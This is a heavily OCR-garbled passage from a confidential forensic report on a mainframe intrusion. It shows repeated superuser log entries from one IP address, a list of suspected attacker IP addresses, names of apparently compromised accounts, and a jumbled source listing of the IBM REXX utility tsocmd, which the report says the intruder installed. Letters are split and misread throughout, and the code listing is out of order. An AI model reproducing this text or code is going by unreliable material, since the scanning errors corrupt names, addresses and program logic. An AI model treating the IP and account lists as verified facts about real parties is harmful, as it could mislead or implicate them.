U NXCM D.SY19 . FROM0313 .txt : 15 M a r12 19 :26  SU PERUSR SU PERUSR 178. 18 .243 .27  BPXWREXC 

Strictly confidenti a l  l Bus i ness Secret l 

Sidan 1 84 av 574 



Report 

U NXC M D.SY19 . FROM0313 .txt : 15Ma r12 19 :26  WM ROCAR SU PERUSR 178 . 18 .243 .27 BPXWREXC 

U NXCMD.SY19 . FROM0313 .txt : 15Ma r12 19 : 28 WM ROCAR SUPERUSR 178 . 18 .243 .27 BPXWREXC 

U NXCM D.SY19 . FROM0313 .txt : 15Ma r12 19 : 28 SUPERUSR SU PERUSR 178 . 18 .243 . 27 BPXWREXC 

U NXCM D.SY19 . F ROM0313 .txt : 15Mar12 19 :30 WM ROCAR SU PERUSR 178 . 18. 243 .27 BPXWREXC 

U NXCMD .SY19 . FROM03 13 .txt : 15Mar12  19 : 30 SU PERUSR SU PERUSR  178. 18 .243 . 27 BPXWREXC 

U NXCMD.SY19 . FROM0313 .txt : 15Ma r12 19 :30 SU PERUSR SU PERUSR  178. 18 .243 .27  BPXWREXC 

U NXCMD.SY19 . FROM0313 .txt : 15 M a r12 19 :30 WM ROCAR S U P ERUSR 178 . 18 .243 .27 BPXWREXC 

U NXCMD .SY19 . FROM0313 .txt : 15Ma r12 19 : 30 WM ROCAR SUPERUSR 178 . 18 .243 .27 BPXWREXC 

U NXCMD .SY19 . FROM0313 .txt : 15Ma r12 19 : 30 SUPERUSR SU PERUSR  178. 18 .243 .27  BPXWREXC 

U NXCM D.SY19 . FROM0313 .txt : 15Ma r12 19 : 30 WM ROCAR SU PERUSR 178. 18 .243 .27  BPXWREXC 

U NXCM D.SY19 . FROM0313 .txt : 15Ma r12 19 :30 SU PERUSR SU PERUSR 178 . 18 .243 .27 BPXWREXC 

U NXCM D.SY19 . F ROM0313 .txt : 15Ma r12 19 : 3 1  WM ROCAR SU PERUSR 178 . 18 . 243 .27 BPXWREXC 

U NXCM D.SY19 . FROM0313 .txt : 15Ma r12 19 : 31  SUPERUSR SU PERUSR 178. 18 .243 . 27 BPXWREXC 

U NXCM D.SY19 . F ROM0313 .txt : 15 M a r12 19 : 3 1  SU PERUSR  SU PERUSR  178 . 18 .243 .27  BPXWREXC 

U NXCM D.SY19 . FROM0313 .txt : 15Ma r12 19 : 3 1  WM ROCAR SUPERUSR 178 . 18 .243 .27 BPXWREXC 

U NXCMD .SY19 . FROM0313 . txt : 15 M a r12 19 :33  SU PERUSR SU PERUSR 178 . 18. 243 . 27 BPXWREXC 

U NXCM D.SY19 . F ROM0313 .txt : 15Ma r12 19 :35  WM ROCAR SU PERUSR 178. 18 . 243 .27 BPXWREXC 

U NXCM D.SY19 . FROM0313 .txt : 15Ma r12 19 :35  SU PERUSR S U PERUSR 178. 18 .243 .27  BPXWREXC 

Str ict ly contident ia  l l Bus i ness Secret l 

Sidan 1 85 av 574 



Report 

U NXCM D.SY19 . F ROM0313 .txt : 15Ma r12 19 :36  WM ROCAR SU PERUSR 178 . 18. 243 . 27 BPXWREXC 

U NXCM D.SY19. FROM0313 .txt : 1 5Ma r12 19 :36  S U P ERUSR SU PERUSR 178 .18 .243 .27  BPXWREXC 

U NXCM D.SY19 . F ROM0313 .txt : 15Ma r12 19 :36  WM ROCAR S U P ERUSR 178 . 18 .243 .27 BPXWREXC 

U NXCM D.SY19 . FROM0313 .txt : 15Ma r12 19 :36  S U P ERUSR SU PERUSR  178 . 18 .243 . 27 BPXWREXC 

U NXCM D.SY19. FROM0313 .txt : 15Mar12  19 :36  WM ROCAR SU PERUSR 178 . 18. 243 .27 BPXWREXC 

U NXCM D.SY19 . F ROM0313 .txt : 15 M a r12 19 :36  SU PERUSR  S U PERUSR 178 . 18. 243 . 27  BPXWREXC 

U NXCM D.SY19 . FROM0313 .txt : 15Ma r12 19 :36  WM ROCAR S U PERUSR 178 . 18 . 243 .27 BPXWREXC 

U NXCMD .SY19 . FROM0313 .txt : 15Mar12  19 :36  SU PERUSR  SU PERUSR 178. 18. 243 .27  BPXWREXC 

U NXCM D.SY19 . FROM0313 .txt : 15Ma r12 19 :37 WM ROCAR S U PERUSR 178 . 18. 243 .27 BPXWREXC 

U NXCM D.SY19. FROM0313 .txt : 15Ma r12 19 :37 S U P ERUSR SU PERUSR  178. 18 .243 . 27 BPXWREXC 

U NXCM D.SY19 . FROM0313 .txt : 15Mar12 19 : 38 SU PERUSR  SU PERUSR 178 .18 .243 .27  BPXWREXC 

U NXCMD .SY19 . FROM0313 .txt : 15Ma r12 19 :38 S U PERUSR SU PERUSR  178. 18 .243 . 27 BPXWREXC 

U NXC M D.SY19 . FROM0313 .txt : 15Ma r12 19 :39 WM ROCAR S U PERUSR 178 . 18. 243 .27 BPXWREXC 

U NXC M D.SY19 . FROM0313 .txt : 15Ma r12 19 :39 SU PERUSR  S U P ERUSR  178. 18 .243 .27  BPXWREXC 

U NXCMD .SY19 . FROM0313 .txt : 15Ma r12 19 :39 S U P ERUSR SU PERUSR  178. 18 .243 .27  BPXWREXC 

U NXCMD.SY19 . FROM0313 .txt : 15Ma r12 19 : 39 WM ROCAR S U P ERUSR 178 .18 .243 .27  BPXWREXC 

U NXCM D.SY19 . F ROM0313 .txt : 15 M a r12  19 :39 WM ROCAR S U PERUSR 178 .18 .243 .27 BPXWREXC 

U NXCMD .SY19 . FROM0313 .txt : 1 5Ma r12 19 :39 S U PERUSR SU PERUSR  178 . 18. 243 .27  BPXWREXC 

Stri ct ly confidenti a l  l Bus i ness Secret l 

Sidan 1 86 av 57 4 



Report 

U NXCMD.SY19 . FROM0313 .txt : 15Ma r12 19 : 39 SU PERUSR SUPERUSR 178 . 18. 243 .27  BPXWREXC 

U NXCMD .SY19 . FROM03 13 .txt : 15Ma r12 19 :39 WM ROCAR SU PERUSR 178 . 18. 243 . 27 BPXWREXC 

U NXCM D.SY19 . FROM0313 .txt : 15Ma r12 19 :39 SU PERUSR  SU PERUSR  178. 18. 243 . 27 BPXWREXC 

U NXCM D.SY19 . FROM0313 .txt : 15Ma r12 19 :39 WM ROCAR SU PERUSR 178 . 18. 243 .27 BPXWREXC 

U NXCM D.SY19 . FROM0313 .txt : 15Ma r12 19 :40 SU PERUSR SU PERUSR  178. 18 .243 . 27 BPXWREXC 

U NXCMD.SY19 . FROM03 13 .txt : 15Mar12  19 :40 SUPERUSR SU PERUSR  178. 18 .243 .27  BPXWREXC 

U NXCMD .SY19. FROM0313 .txt : 15Ma r12 19 :40 WM ROCAR SU PERUSR 178 . 18 .243 .27 BPXWREXC 

U NXCM D.SY19 . F ROM0313 .txt : 15Mar12  19 :40 SUPERUSR SUPERUSR 178 . 18 .243 .27  BPXWREXC 

U N XCMD.SY19 . FROM0313 .txt : 15Mar12 19 :42 SU PERUSR  SU PERUSR 178. 18 .243 . 27 BPXWREXC 

U NXCM D.SY19 . FROM0313 .txt : 15Ma r12 19 :42 WM ROCAR S U P ERUSR 178 .18 .243 .27 BPXWREXC 

U NXCM D.SY19 . FROM0313 .txt : 15Ma r12 19 :43 SUPERUSR SU PERUSR 178. 18 .243 .27  BPXWREXC 

U NXCM D.SY19. F ROM0313 .txt : 15Ma r12 19 :43 WM ROCAR SUPERUSR 178 . 18 .243 .27 BPXWREXC 

U NXCM D.SY19 . F ROM0313 .txt : 15Ma r12 19 :43 WM ROCAR S U P ERUSR 178. 18.243 . 27 BPXWREXC 

U NXCM D.SY19 . F ROM0313 .txt : 15Ma r12 19 :43 SU PERUSR SUPERUSR 178 . 18. 243 .27  BPXWREXC 

U NXCM D.SY19 . FROM0313 .txt : 1 5Ma r12 19 :43 WM ROCAR SU PERUSR 178 . 18 .243 .27 BPXWREXC 

U N XCMD .SY19 . FROM0313 .txt : 15Ma r12 19 :43 SU PERUSR SU PERUSR  178 . 18 .243 .27  BPXWREXC 

U NXCMD.SY19 . FROM0313 .txt : 15Ma r12 19 :43 WM ROCAR SUPERUSR 178 . 18 . 243 .27 BPXWREXC 

U N XCMD .SY19 . FROM0313 .txt : 15Ma r12 19 :43 SUPERUSR SU PERUSR 178 . 18 .243 . 27 BPXWREXC 
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U NXCMD .SY19 . FROM0313 .txt : 15Ma r12 19 : 50 S U P ERUSR SU PERUSR 178 . 18. 243 . 27 BPXWREXC 

U NXCMD .SY19. FROM0313 .txt : 15 M a r12 19 : 50 WM ROCAR S U PERUSR 178 . 18. 243 .27 BPXWREXC 

U NXCM D.SY19 . F ROM0313 .txt : 15Ma r12 19 : 50 WM ROCAR S U PERUSR 178. 18 .243 .27 BPXWREXC 

U NXCM D.SY19 . FROM0313 .txt : 15 M a r12 19 : 50 S U P ERUSR SU PERUSR  178. 18 .243 . 27 BPXWREXC 

U NXCM D.SY19 . F ROM0313 .txt : 1 5Ma r12 20: 10 S U PERUSR SU PERUSR  178. 18. 243 . 27 BPXWREXC 

U NXCMD .SY19 . FROM0313 .txt : 15Ma r12 20: 10 WM ROCAR SU PERUSR 178 . 18. 243 .27  BPXWREXC 

U NXCM D.SY19 . F ROM0313 .txt : 15 M a r12 20: 1 1  SU PERUSR  SUPERUSR 178 . 18 .243 .27  BPXWREXC 

U NXCMD .SY19 . FROM0313 .txt : 15Ma r12 20: 1 1  WM ROCAR S U PERUSR 178 . 18. 243 .27  BPXWREXC 

U NXCM D.SY19 . FROM0313 .txt : 15Mar12 20: 1 1  WM ROCAR S U PERUSR 178 . 18 .243 . 27 BPXWREXC 

U NXCMD .SY19 . FROM0313 .txt : 15Ma r12 20: 1 1  S U P ERUSR SU PERUSR  178 . 18 .243 .27  BPXWREXC 

U NXCM D.SY19 . FROM0313 .txt : 15Mar12  20: 1 1  WM ROCAR SU PERUSR 178 . 18 .243 . 27 BPXWREXC 

U NXCMD .SY19 . FROM03 13 .txt : 15Ma r12 20: 1 1  SU PERUSR  SU PERUSR  178 . 18. 243 . 27 BPXWREXC 

U NXCMD .SY19 . FROM0313 .txt : 15Ma r12 20: 1 1  S U P ERUSR SU PERUSR  178 . 18. 243 . 27 BPXWREXC 

U NXCM D.SY19 . FROM0313 .txt : 15Ma r12 20: 1 1  WM ROCAR S U P ERUSR 178 . 18 .243 .27 BPXWREXC 

U NXCMD .SY19 . FROM0313 .txt : 15Mar12  20: 1 1  WM ROCAR SU PERUSR 178 . 18. 243 .27 BPXWREXC 

U NXCM D.SY19 . FROM0313 .txt : 15 M ar12 20 : 1 1  SU PERUSR SU PERUSR  178 . 18 .243 .27  BPXWREXC 

U NXCMD .SY19 . FROM0313 .txt : 15 M a r12 20: 13 SU PERUSR  SU PERUSR  178. 18. 243 . 27 BPXWREXC 

U NXCMD .SY19 . FROM0313 .txt : 1 5Ma r12 20: 13 WM ROCAR S U P ERUSR 178 . 18 .243 .27 BPXWREXC 
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U NXCMD .SY19 . FROM03 13 .txt : 15Ma r12 20 : 13 S U P ERUSR SUPERUSR 178 . 18 . 243 .27  BPXWREXC 

U NXCMD .SY19. FROM03 13 .txt : 15Ma r12 20: 13 WM ROCAR SU PERUSR 178 . 18 .243 .27 BPXWREXC 

U NXCM D.SY19 . FROM0313 .txt : 1 5Ma r12 20: 14 WM ROCAR S U PERUSR 178. 18. 243 . 27 BPXWREXC 

U NXCMD.SY19 . FROM0313 .txt : 15Ma r12 20: 14 SU PERUSR SU PERUSR  178. 18. 243 .27  BPXWREXC 

U NXCM D.SY19. FROM0313 .txt : 1 5Ma r12 20:43 WM ROCAR S U P ERUSR 178 . 18 .243 .27 BPXWREXC 

U NXCMD .SY19 . FROM0313 .txt : 15Mar12  20:43 SU PERUSR SUPERUSR 178 . 18 .243 .27  BPXWREXC 

U NXCMD.SY19 . FROM0313 .txt : 15Ma r12 20 :52  SU PERUSR SU PERUSR 178. 18. 243 . 27 BPXWREXC 

U NXCMD.SY19 . FROM0313 .txt : 15Ma r12 20 :52 WM ROCAR S U P ERUSR 178 . 18 .243 .27 BPXWREXC 

U NXCMD.SY19 . FROM0313 .txt : 15Ma r12 20 :52 WM ROCAR SU PERUSR 178. 18. 243 .27 BPXWREXC 

U NXCMD.SY19 . FROM0313 .txt : 15Ma r12 20 :52  SU PERUSR  SU PERUSR  178 . 18 . 243 .27  BPXWREXC 

U NXCM D.SY19 . FROM0313 .txt : 15Ma r12 20 :53  SU PERUSR  SUPERUSR 178 . 18. 243 . 27 BPXWREXC 

U NXCMD .SY19 . FROM0313 .txt : 15Mar12 20 :53 WM ROCAR S U P ERUSR 178 . 18 .243 .27 BPXWREXC 

U NXC M D.SY19 . F ROM0313 .txt : 15Ma r12 20 :53  WM ROCAR S U PERUSR 178 . 18 .243 .27 BPXWREXC 

U NXCM D.SY19 . F ROM0313 .txt : 15 M a r12 20 :53  S U PERUSR SUPERUSR 178. 18. 243 .27  BPXWREXC 

U NXCM D.SY19 . FROM0313 .txt : 15Ma r12 20 :53 SUPERUSR SUPERUSR  178 . 18 . 243 .27  BPXWREXC 

U NXCM D.SY19 . FROM0313 .txt : 15Mar12 20 :53  WM ROCAR SU PERUSR 178 . 18 .243 .27 BPXWREXC 

U NXCM D.SY19 . FROM0313 .txt : 15Ma r12 20 :54 S U PERUSR SUPERUSR 178 . 18 .243 .27  BPXWREXC 

U NXCMD .SY19 . FROM0313 .txt : 15Mar12 20: 54 WM ROCAR S U P ERUSR 178 . 18 .243 . 27 BPXWREXC 
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U NXCM D.SY19 . F ROM0313 .txt : 15Ma r12 20 :57  WM ROCAR S U PERUSR 178. 18 . 243 .27 BPXWREXC 

U NXCMD .SY19 . FROM0313 .txt : 1 5Mar12 20 :57  SU PERUSR  S U P ERUSR 178. 18. 243 .27  BPXWREXC 

U NXCMD .SY19 . F ROM0313 .txt : 15Ma r12 20 :57 SU PERUSR  SU PERUSR  178. 18. 243 . 27 BPXWREXC 

U NXCM D.SY19 . F ROM0313 .txt : 1 5Ma r12 20 :57  WM ROCAR S U PERUSR 178. 18 . 243 .27 BPXWREXC 

U NXCM D.SY19 . FROM0313 .txt : 1 5Ma r12 20 :57 SU PERUSR  SU PERUSR 178 . 18. 243 . 27 BPXWREXC 

U NXCMD .SY19 . FROM0313 .txt : 15Mar12  20 :57 WM ROCAR SU PERUSR 178 . 18 .243 . 27 BPXWREXC 

U NXC M D.SY19 . F ROM0313 .txt : 1 5Ma r12 21 :02 WM ROCAR SU PERUSR 178 . 18 .243 .27 BPXWREXC 

U NXCMD .SY19 . FROM0313 .txt : 15Ma r12 21 :02 SU PERUSR  SU PERUSR  178 . 18. 243 . 27 BPXWREXC 

U NXCMD .SY19 . FROM0313 .txt : 15Ma r12 2 1 :02 S U PERUSR SU PERUSR 178 . 18 . 243 . 27 BPXWREXC 

U NXCM D.SY19 . FROM0313 .txt : 15Ma r12 21 :02 WM ROCAR S U PERUSR 178 . 18 .243 .27 BPXWREXC 

U NXCM D.SY19 . F ROM0313 .txt : 15Mar12 21 : 03 WM ROCAR SU PERUSR 178 . 18 .243 .27  BPXWREXC 

U NXCM D.SY19 . F ROM0313 .txt : 15Mar12 2 1 :03 SU PERUSR  SU PERUSR  178. 18 .243 . 27 BPXWREXC 

U NXCMD .SY19 . F ROM0313 .txt : 15Ma r12 21 : 03 SUPERUSR SU PERUSR 178 . 18. 243 . 27 BPXWREXC 

U NXCM D.SY19 . FROM0313 .txt : 1 5Ma r12 2 1 :03 WM ROCAR SU PERUSR 178 .18 .243 .27 BPXWREXC 

U NXCM D.SY19 . FROM03 13 .txt : 15Ma r12 21 : 04 WM ROCAR S U PERUSR 178 . 18 .243 .27 BPXWREXC 

U N XCMD .SY19 . FROM0313 .txt : 15Mar12  21 : 04 SU PERUSR  S U P ERUSR  178. 18 .243 .27  BPXWREXC 

U NXCM D.SY19 . F ROM0313 .txt : 15 M a r12 2 1 : 1 1  SU PERUSR  SU PERUSR  178 . 18 .243 . 27 BPXWREXC 

U N XCMD .SY19 . FROM0313 .txt : 15 M a r12 2 1 : 1 1  WM ROCAR SU PERUSR 178. 18 .243 .27 BPXWREXC 
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U NXCMD.SY19 . FROM0313 .txt : 15Ma r12 21 : 36  SU PERUSR SU PERUSR 178. 18. 243 . 27 BPXWREXC 

U NXCMD.SY19 . FROM0313 .txt : 15Mar12  2 1 : 36 S U P ERUSR SU PERUSR 178 . 18 .243 .27  BPXWREXC 

U NXCM D.SY19 . FROM0313 .txt : 15Mar12  2 1 : 37 SUPERUSR SUPERUSR 178 . 18.243 . 27 BPXWREXC 

U NXCMD.SY19 . FROM0313 .txt : 15Ma r12 22 : 15 WM ROCAR SU PERUSR 178. 18 . 243 .27 BPXWREXC 

U NXC M D.SY19 . FROM0313 .txt : 15Ma r12 22 : 15  SU PERUSR  SUPERUSR 178 . 18 . 243 .27  BPXWREXC 

U NXCM D.SY19 . FROM0313 .txt : 15Ma r12 22 : 15 SU PERUSR  SU PERUSR  178. 18. 243 . 27 BPXWREXC 

U NXCMD .SY19 . FROM0313 .txt : 15Ma r12 22 : 16 SU PERUSR SU PERUSR 178 . 18 .243 .27  BPXWREXC 

U NXCM D.SY19 . F ROM0313 .txt : 15Ma r12 22 : 16 WM ROCAR S U PERUSR 178 . 18 .243 .27 BPXWREXC 

U NXCMD .SY19 . FROM0313 .txt : 15Mar12 22 : 16  SU PERUSR SU PERUSR 178. 18. 243 .27  BPXWREXC 

U NXCMD.SY19 . FROM0313 .txt : 15Ma r12 22 : 16 WM ROCAR S U PERUSR 178 . 18 .243 .27 BPXWREXC 

U NXCMD .SY19 . FROM0313 .txt : 15Ma r12 22 : 17 WM ROCAR SUPERUSR 178. 18 .243 . 27 BPXWREXC 

U NXCM D.SY19 . F ROM0313 .txt : 15Ma r12 22 : 17 SU PERUSR S U PERUSR 178 . 18. 243 . 27 BPXWREXC 

U NXCM D.SY19 . F ROM0313 .txt : 15Ma r12 22 : 17 WM ROCAR S U P ERUSR 178. 18 .243 .27 BPXWREXC 

U NXCMD .SY19 . FROM03 13 .txt : 15Ma r12 22 : 17 S U P ERUSR SU PERUSR 178. 18 .243 . 27 BPXWREXC 

U NXCMD.SY19 . FROM0313 .txt : 15Ma r12 22 : 18 SU PERUSR SUPERUSR 178 . 18. 243 .27  BPXWREXC 

U NXCMD .SY19 . FROM0313 .txt : 15Mar12  22 : 18 WM ROCAR SU PERUSR 178 . 18 .243 .27 BPXWREXC 

U NXCM D.SY19 . FROM0313 .txt : 15Ma r12 23 : 22 SU PERUSR  SU PERUSR  178 . 18. 243 . 27 BPXWREXC 
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Report 

Known bad lP addresses used in the attack 

The content of th i s  seet ian has been removed due to confidenti a l ity req u i rements . 
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Report 

Suspicial bad lP addresses used in the attack 

The fo l l owing  lP add resses have been be l ieved to perform ma l i cious ly access - either by fi l e tra nsfe r  

access or i nte ractive access - the infotorget service. 

8. 18. 172 . 156 

27. 109. 118 .33 

31 . 172. 30. 1 

37 .59 .82 .50 

46 . 165. 196. 182 

46.59 .5 1 . 181  

50. 61 .247 .32 

61 .6 . 252 . 153 

64. 72 . 103 .93 

74. 120. 15 . 150 

78.34.172 .44 

78.47 . 133 . 220 

79. 117 . 149 . 74 

82. 197.238. 184 

83 .133 . 106.73 

85. 1 19. 130. 1 19 

85. 17 . 122 . 103 

85 .228 .54.229 

88. 198. 224. 1 14 

93 . 182 . 132 . 103 

93. 186. 170.54 

94. 234. 170. 183 

1 11 .92 .242.65 
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112 .78.43 . 250 

121 . 188. 164. 179 

123 . 108 . 250.50 

124. 248 . 174. 138 

124. 248 . 187. 100 

124. 248 . 187. 147 

124.248 . 187 . 150 

124. 248. 187 .22 

124. 248 . 187 .225 

124. 248. 187 .236 

141 .8 . 193 . 195 

166 .70 .207.2 

173 . 254. 192 .36 

173 . 254. 216 .66 

176. 31 . 15 . 236 

178. 174. 180. 144 

178. 18. 17 . 1 1 1  

178 . 18 .243 .25 

178 . 18 .243 .27 

178 .63 .97 .34 

182 . 255 .0. 34 

184. 105 . 220. 24 

188 .65 . 209. 160 

194 .23 .60 . 217 

194.23 .61 . 15 1  

202 . 120. 189 . 223 

202 .84. 19 . 10 
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203 . 176. 141. 205 

221 .207 .61 .86 

222 .98. 154.50 
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Appendix G :  

access 
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Report 

Users known to be maliciously used in mainframe 

The fo l l owi ng users have been known to be used by the  perpetrators , by exa m i ne the l ogs. I n  

a ppend ix  l another  l i st com p lements th i s, a n d  i n  the m a i n  document, there a re a l so a n u m ber  of 

exa m ple  of users 

• evidence left i n  l og fi les 

or  i s  h igh  ly susp ic ious  from other  traces left in the system, such as 

• owners h i p  of fi les 

Ord i n a ry users i nc l ude :  

• WAHS006 

• AVIY356 

• AVIY991 

• BSN 0058 
• etc 

One of seve ra l root users -

• WMCM BAl 

• HZUSER 

Strict ly confidenti a l  l Bus i ness Secret l 



Sidan 1 97 av 57 4 

Repor L 

Appendix H :  U s e r  accounts involved i n  the attacks 

The content of th i s  a ppend ix has  been removed from th i s  vers ion  of the report due  to confidenti a l ity req u i rements . 
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Appendix 1 :  Source listing for program tsocmd 
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Report 

Th i s  append ix descr ibes the sou rce l i sti ng for the command  tsocmd i nsta l l ed  by the perpetratar on  

the hacked system .  Th i s  vers ion  i s  captu red from the  SY19 pa rtit i on .  

rom$ more tsocmd. EXTRACTS/tsocmd .STRI NGS 

O / * rexx * / 

1 1  / * * * * PRO P R I E TARY S TATEMENT * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * / 

8 3  / * * / 

1 5 5  / * L i c e n s e d  Mat e r i a l s  - Prope r t y  o f  I BM * l 

2 2 7  / * 5 6 9 4 -A O l Copyr i gh t  I BM C o rp . 2 0 1 0 ,  2 0 1 0  * l 

2 9 9  / * * / 

3 7 1  / * s t a t u s  HOT 7 7 7 0  * l 

4 4 3  / * * l 

5 1 5  / * * * * END OF PRO P R I E TARY S TATEMENT * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * / 

5 8 7  / * * / 

6 6 0  / * S o u r c e  F i l e : t s o cmd ( REXX ) * l 

7 3 3  / * * / 

8 0 6  / * S o u r c e  F i l e  De s c r i p t i o n : t s o cmd r u n s  a T S O / E  c omman d  f r om the * / 

8 7 8  / * 

9 5 0  / * 

1 0 2 2  / * 

1 0 9 4 / * 

1 1 6 6  / * 

1 2 3 8  / * 

1 3 1 0  / * 

1 3 8 3  / * 

s he l l  u s i n g  t h e  T S O / E  TMP ( I KJE F T O l ) . Un l i ke the t s o  comma n d ,  * / 

the t s o cmd c omman d  c a n  be u s e d  to i s s u e  a u t ho r i z e d  T S O / E  * l 

c omman d s . The T S O / E  TMP i s  run in a s e p a r a t e  actdre s s  s p a c e  a n d  * / 

p r o c e s s  f r om the t s o cmd c omma n d ,  the r e f o r e  a n y  i s s u e d  T S O / E  * / 

c ommands w i l l  n o t  a f f e c t  t h e  envi r o nment the t s o cmd i s  i s s u e d  * / 

f rom . * / 

* l 

* / 

1 4 5 9  / * Change A c t i vi t y : * l 

1 5 3 1  / * 

1 6 0 3  / * FLAG REASON 

1 6 7 5  / * 

1 7 4 7  / * $ A O  ME 1 5 8 9 5  

1 8 1 9  / * 

* l 

RE LEASE DATE PROGRAMMER CHANGE D E S C R I P T I ON * l 

H O T 7 7 7 0  0 9 0 3 3 1  ROCH 

* l 

C r e a t e d  f o r  DCR B 7 8 0 . 0 0 * / 

* l 
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1 8 9 1 / * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * / 

1 9 6 5  l * G l o b a l  v a r i a b l e s : i f  n e e ded b y  fun c t i on , n e e d  t o  b e  o n  fun c t i o n s  

2 0 3 5  p r o e e ctu re exp o s e  s t a t emen t . I t  c a n  b e  e a s i e s t  t o  j u s t  p u t  o n  

2 1 0 1  

2 1 7 3  

2 2 4 5  

2 3 1 5  

2 3 6 0  

2 4 2 0  

2 4 8 7  

2 5 5 9  

2 6 3 3  

2 7 0 8  

2 7 8 0  

2 8 5 2  

2 9 2 4  

2 9 9 6  

3 0 6 9  

3 1 4 1  

3 1 7 7  

3 2 4 9 

3 3 2 2  

3 3 9 6  

3 4 6 8  

3 4  9 3  

3 5 6 5  

3 6 1 5  

3 6 8 7  

3 7 6 2 

3 8 3 2  

3 9 0 4  

3 9 4 1  

4 0 1 6  

4 0 8 7  

a l l  s u c h  s t a t emen t s . * l 

c a t de s c  = - 1 l * Me s s age c a t a l o g  de s c r i p t o r  * l 

db gLvl = O l * I n i t i a l i z e  debug l eve l to n o n e  

whe r e  

O - n o  debug a c t i v i t y  

l - g e t  addi t i o n a l  me s s a g i n g  

2 - g e t  me s s a g e s  and t r a c e  a l l  * l 

l * End o f  g l o b a l  va r i ab l e s , w i l l  a l s o  u s e  s t andard E S C  N v a r i a b l e .  * l 

P a r s e  a r g  c omman d  l * D e t e rmine input v a l u e . * l 

I f c omman d  = ' ' The n l * D e t e rmine i f  va l u e  w a s  p a s s e d  f o r  

c omman d  s t r i n g . * l 

Do l * D o  f o r  n o  c omman d  d a t a . * l 

C a l l  u s age l * If n o  da t a  w a s  p a s s e d ,  t h e n  s e n d  

U s age me s s age and e x i t . * l 

E n d  l * E n d  do f o r  n o  c omman d  da t a . * l 

E l s  e 

Do l * Do f o r  have c omman d  d a t a . * l 

dbgLvl = c h e c kDebug ( c ommand ) l * D e t e rmine debug l eve l . * l 

l * Remove the debug - r e l a t e d  c h a r a c t e r s  f r om the c omman d  s t r i n g  * l 

l * s o  o n l y  w o r k  on c ommand u s e r  s p e c i f i e d  w i t h o u t  - d o r  - dd . * l 

I f  dbgLvl > O Then 

Do l * D o  for have a debug l eve l s e t . * l 

c omman d  s ub s t r  ( c omman d ,  ( 3 + dbgLv l ) ) 

E n d  

E n d  

l * E n d  Do f o r  H a v e  a d e b u g  l e ve l . * l 

l * E n d  Do f o r  have c omman d  d a t a . * l 

l * Che c k  debug l eve l f o r  t r a c i n g  a n d  t u r n  i t  o n ,  do i t  h e r e  i n s t e a d  

o f  i n  n e s t e d  I f s  above s o  s t a r t  t r a c i n g  a t  s t a r t  o f  ma i n  c o de . * l 

I f  dbgLvl > l Then T r a c e  ' I '  

C a l l  dbg i n f o  ' I nput cmd = ' l l comman d  l * I f debug g i n g  e c h o  c omman d . * l 

C a l l  p r o cE nvVar l * P r o c e s s  envi ronme n t  va r i ab l e s  as  

app r op r i a t e . C o n t r o l  w i l l  not 
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4 1 5 6  

4 2 2 8  

4 2 6 6  

4 3 3 6  

4 4 0 5  

4 4 7 5  

4 5 4 3  

4 6 1 0  

4 6 8 2  

4 7 4 7  

4 8 1 8  

4 8 9 0 

4 9 6 0  

5 0 3 3  

5 0 5 9  

5 1 3 1  

5 1 9 5  

5 2 6 7  

5 3 3 9  

5 4 1 0  

5 4 4 2  

5 5 1 4  

5 5 8 7  

5 6 2 6  

5 6 9 4 

5 7 6 6  

5 8 3 8  

5 8 6 7 
c o de % % . " , 

5 9 6 5  

6 0 0 3  

6 0 7 5  

6 1 4 8  

6 1 6 2 

6 1 7 1  

r e t u r n  i f  a n  e r r o r  o c c u r s . * l 

/ * E c h o  the c omman d  s t r i n g  ( mimi c s  behav i o r  of t s o  c omman d  c o de ) . 

Dup l i c a t e  o f  debug i n f o rma t i o n  l i n e  above , b u t  w a n t e d  that l i n e  

t o  c l e a r l y  c a l l  out t h a t  i t  w a s  the input c omma n d ,  and w a n t e d  i t  

f i r s t  wh i l e  the c ode I am mimi c i n g  h a s  the c omman d  repeat j u s t  

b e f o re t h e  c a l l  t o  d o  t h e  t s o  c ommand wo r k ,  a n d  doe s n o t  have 

a n y  addi t i o n a l  t e x t . * / 

C a l l  s e n dM s g  2 , - 1 , c omman d  

Actdre s s  t s o  c ommand / * P a s s  the input c omman d  a r gume n t  

t o  the T S O / E  T M P  f a c i l i t y . * l 

e r  r o r  r e  / * S ave a w a y  the r e t u r n  c o de f rom 

the c a l l e d  T S O  c omman d .  * / 

S e l e c t  / * P r o c e s s  t h e  r e t u r n  c o de s . * l 

When e r r o r  - 3 Then / * Re t u r n  code i n d i c a t e s  T S O  

c omman d  w a s  n o t  found . * l 

Do / * S e n d  app rop r i a t e  e r r o r  me s s age . * / 

C a l l  s e n dM s g  2 , 5 4 5 1 , " t s o cmd : T S O / E  c omman d " " % % " "  n o t  found . " ,  

, c omman d  

e r r o r  = 2 5 5  / * S e t  r e t u rn c ode t o  2 5 5 . * l 

End / * E n d  Do f o r  error = - 3 .  * l 

When ( e r r o r  < 0 )  ( e r r o r  > 2 5 4 )  

T h e n  / * Re t u r n  code n o t  a v a l u e  w h i c h  

c a n  b e  r e t u r n e d . * / 

Do / * Send app r op r i a t e  e r r o r  me s s age . * / 

C a l l s e n dM s g  2 , 5 4 5 2 , 

, " t s o cmd : Unexpe c t e d  e r r o r  o c cu r r e d  p r o ce s s i ng T S O / E  c omman d  

, comman d , e r r o r  

e r r o r  = 2 5 5  / * S e t  r e t u r n  c o de t o  2 5 5 . * / 

E n d  / * E n d  f o r  e r r o r  < O & > 2 5 4 . * / 

O t h e rw i s e  

D o  

/ * Do n o t h i n g , r e t u r n  t s o  c omma n d  r e t u rn c o de a s  i s . Me s s age 
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6 2 4 3  s h o u l d  have b e e n  s e n t  i f  there w a s  a n  e r r o r . * l 

6 3 1 5  End 

6 3 2 5  End 

6 3 9 7  

6 4 2 7  C a l l  c l e anup 

6 5 0 2  C a l l  dbg i n f o  ' Re t u r n  

6 5 7 7  Return e r r o r  

6 6 4 9  l * End o f  ma i n  c o de p a t h  

6 7 2 9  

l * End s e l e c t  o n  r e t u r n  c o de . * l 

l * C a l l  c l e anup f u n c t i on . * l 

' l  l e r r o r  l * I f  debugging e c h o  r e t u r n  code . * l 

l * Return r e t u rn c ode , i f  a n y . * l 

* l 

6 7 3 5  1 * - - S TART OF FUNCT I ON S PE C I F I CAT I ON S  

6 8 1 0  I l  Fun c t i o n  Name s e n dM s g  

